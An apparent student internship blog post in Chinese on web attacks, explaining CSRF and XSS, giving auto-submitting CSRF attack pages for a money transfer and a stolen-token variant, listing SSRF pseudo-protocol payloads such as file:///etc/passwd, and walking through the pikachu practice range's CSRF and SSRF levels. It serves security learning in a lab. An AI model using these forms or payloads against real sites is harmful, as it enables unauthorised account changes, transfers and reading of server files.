毕业实习-6

一、CSRF和XSS区别

CSRF(跨站请求伪造)和XSS(跨站脚本攻击)是两种常见的网络安全攻击方式,它们的主要区别如下:

  1. 攻击目标
    CSRF:攻击者诱使用户在已认证的会话中执行不想要的操作,利用用户的身份进行请求。
    XSS:攻击者在网页中注入恶意脚本,当用户访问该网页时,脚本会在用户的浏览器中执行。

  2. 攻击方式
    CSRF:通过伪造用户的请求(如表单提交、链接点击等),利用用户的身份进行操作。
    XSS:通过注入恶意JavaScript代码,直接在用户的浏览器中执行,可能窃取用户信息或进行其他恶意操作。

  3. 用户交互
    CSRF:用户通常不知情,攻击在用户的背景下进行。
    XSS:用户可能会看到异常行为或内容,攻击通常是通过用户的主动行为触发的。

  4. 防御措施
    CSRF:使用CSRF令牌、SameSite Cookie属性等来防止伪造请求。
    XSS:通过输入验证、输出编码、内容安全策略(CSP)等来防止脚本注入。

总结来说,CSRF利用用户的身份进行未授权操作,而XSS则是通过注入脚本直接攻击用户的浏览器。

二、总结CSRF攻击步骤

CSRF(跨站请求伪造)攻击的步骤通常包括以下几个关键环节:

  1. 用户认证
    用户在受信任的网站(如银行、社交媒体等)上进行登录,服务器为用户创建会话并存储身份验证信息(如Cookie)。

  2. 攻击者准备恶意请求
    攻击者创建一个恶意网站或页面,其中包含指向受信任网站的请求(如表单提交、链接等),这些请求会在用户不知情的情况下执行。

  3. 诱导用户访问恶意网站
    攻击者通过社交工程手段(如发送钓鱼邮件、社交媒体链接等)诱使用户访问其恶意网站。

  4. 用户触发请求
    当用户在恶意网站上执行某个操作(如点击链接、提交表单等)时,浏览器会自动附带用户的身份验证信息(如Cookie),向受信任网站发送请求。

  5. 受信任网站处理请求
    受信任网站接收到请求后,认为这是来自已认证用户的合法请求,执行相应的操作(如转账、修改账户信息等)。

  6. 攻击成功
    用户在不知情的情况下,受信任网站执行了攻击者预设的操作,导致潜在的损失或信息泄露。

通过以上步骤,CSRF攻击能够利用用户的身份进行未授权的操作,因此防范措施(如CSRF令牌)显得尤为重要。

三、CSRF手工构造POST型页面方法

手工构造一个用于CSRF攻击的POST请求页面通常涉及创建一个HTML表单,该表单在用户访问时会自动提交到目标网站。构造POST型页面的步骤如下:

步骤

  1. 确定目标URL
    找到受信任网站的POST请求URL(例如,用户资料更新、转账等)。

  2. 收集必要参数
    确定该POST请求所需的所有参数(如用户ID、金额、表单字段等)。

  3. 构造HTML表单
    创建一个HTML页面,其中包含一个隐藏的表单,表单的action属性指向目标URL,method属性设置为POST

  4. 添加隐藏字段
    在表单中添加所有必要的字段,并将其值设置为攻击者希望提交的值。

  5. 自动提交表单
    使用JavaScript在页面加载时自动提交表单。

简单示例

构造一个CSRF攻击的POST请求页面:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CSRF Attack Example</title>
    <script>
        // 页面加载时自动提交表单
        window.onload = function() {
            document.getElementById("csrfForm").submit();
        };
    </script>
</head>
<body>
    <form id="csrfForm" action="https://target-website.com/transfer" method="POST">
        <input type="hidden" name="amount" value="1000">
        <input type="hidden" name="toAccount" value="attackerAccount">
        <!-- 其他必要的隐藏字段 -->
    </form>
    <p>正在处理请求...</p>
</body>
</html>

这里以pikachu靶场的CSRF(post)这一关演示页面构造方法
在这里插入图片描述
在这里插入图片描述
2.修改信息,抓包
在这里插入图片描述

3.在抓到的包处,右键选择Engagement tools(相关工具),然后再选择generate csrf poc(生成CSRF PoC)

在这里插入图片描述

4.将图中元素修改为自己想要的,这里将住址改为重庆邮电大学在这里插入图片描述5.点击在浏览器中测试,并复制url
在这里插入图片描述

6.在浏览器中打开网页,并点击提交
在这里插入图片描述

7.可以看到pikachu靶场中名为kobe的账号住址被更改

在这里插入图片描述

四、token类CSRF利用方法

Token类CSRF攻击利用方法通常涉及绕过CSRF防护机制,尤其是当目标网站的CSRF令牌管理不当时。常见的利用方法:

1. 获取CSRF令牌:

  • 攻击者首先需要获取目标网站的CSRF令牌。这可以通过多种方式实现:
    社交工程:诱使用户在受信任的网站上执行某些操作,从而在浏览器中获取令牌。
    XSS攻击:如果目标网站存在XSS漏洞,攻击者可以注入脚本以窃取CSRF令牌。

2. 构造恶意请求:

一旦攻击者获得了CSRF令牌,他们可以构造一个恶意请求,包含该令牌。请求的构造步骤如下:

  • 确定目标URL:找到需要提交的POST请求的URL。
    收集参数:确定所有必需的参数,包括CSRF令牌。
    构造表单:创建一个HTML表单,包含所有必要的字段和CSRF令牌。

3. 自动提交请求:

使用JavaScript在用户访问恶意页面时自动提交构造的表单。

示例代码

利用获取到的CSRF令牌进行攻击:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CSRF Token Exploit Example</title>
    <script>
        // 页面加载时自动提交表单
        window.onload = function() {
            document.getElementById("csrfForm").submit();
        };
    </script>
</head>
<body>
    <form id="csrfForm" action="https://target-website.com/transfer" method="POST">
        <input type="hidden" name="amount" value="1000">
        <input type="hidden" name="toAccount" value="attackerAccount">
        <input type="hidden" name="csrf_token" value="obtained_csrf_token"> <!-- 获取的CSRF令牌 -->
        <!-- 其他必要的隐藏字段 -->
    </form>
    <p>正在处理请求...</p>
</body>
</html>

可以安装CSRF Token Tracker插件

CSRF Token Tracker可以自动获取 csrf 的 token,对于一些有 csrf 限制的请求,它可以绕过该限制,如暴力破解具有 csrf token 的登录请求。它是个BP插件可以在BApp Store下载安装

在这里插入图片描述

安装好后进行配置就可以使用了

在这里插入图片描述

五、SSRF常用伪协议

SSRF(服务器端请求伪造)攻击利用服务器的能力发起请求,通常可以通过多种伪协议进行。一些常见的伪协议:

  1. file://
    允许攻击者访问服务器本地文件系统中的文件。例如,攻击者可以尝试读取敏感文件(如/etc/passwd):

    file:///etc/passwd
    
  2. http://https://
    SSRF攻击最常见的形式,攻击者可以利用服务器发起对内部或外部服务的HTTP请求。例如,攻击者可以请求内部API或服务:

    http://localhost:8080
    
  3. ftp://
    通过FTP协议,攻击者可以尝试访问FTP服务器或下载文件:

    ftp://example.com/file.txt
    
  4. gopher://
    Gopher协议可以用于访问特定的网络资源,攻击者可以利用它来进行更复杂的请求:

    gopher://example.com
    
  5. dict://
    通过Dict协议,攻击者可以尝试访问字典服务器,获取信息:

    dict://example.com
    
  6. mailto:
    虽然不常见,但攻击者可以尝试利用邮件协议发送请求:

    mailto:attacker@example.com
    
  7. ws://wss://
    WebSocket协议,攻击者可以尝试通过WebSocket与服务器进行通信:

    ws://localhost:3000
    

六、SSRF pikachu靶场通关

1.SSRF(curl)

我们先看下curl的用法:

https://www.runoob.com/php/php-ref-curl.html

在这里插入图片描述

依次点击,发现这里出现了一个url地址

http://127.0.0.1/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info1.php

在这里插入图片描述

因为curl支持很多协议,就可以做以下尝试:

1、通过网址访问链接

比如说修改url为:url=http://www.baidu.com,访问百度页面:

在这里插入图片描述

2、利用file协议查看本地文件

修改url为:url=file:///D:/text.txt,查看文件的内容:

在这里插入图片描述

2. SSRF(file_get_content)

跟上关类似,url变成了file

file读取本地文件

修改file为:file=file:///D:/text.txt,查看文件的内容:

在这里插入图片描述

七、SSRF靶场通关时根据源代码说明漏洞成因(加分项)

查看源码

在这里插入图片描述

1.url源码:

在这里插入图片描述

使用了curl_exec()函数通过PHP对数据进行获取,并且输出返回,明显存在服务端请求伪造,应当对前端的URL进行白名单的过滤。

  1. file_get_content源码

在这里插入图片描述

使用PHP函数file_get_content()读取文件且未进行白名单过滤

  • 15
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值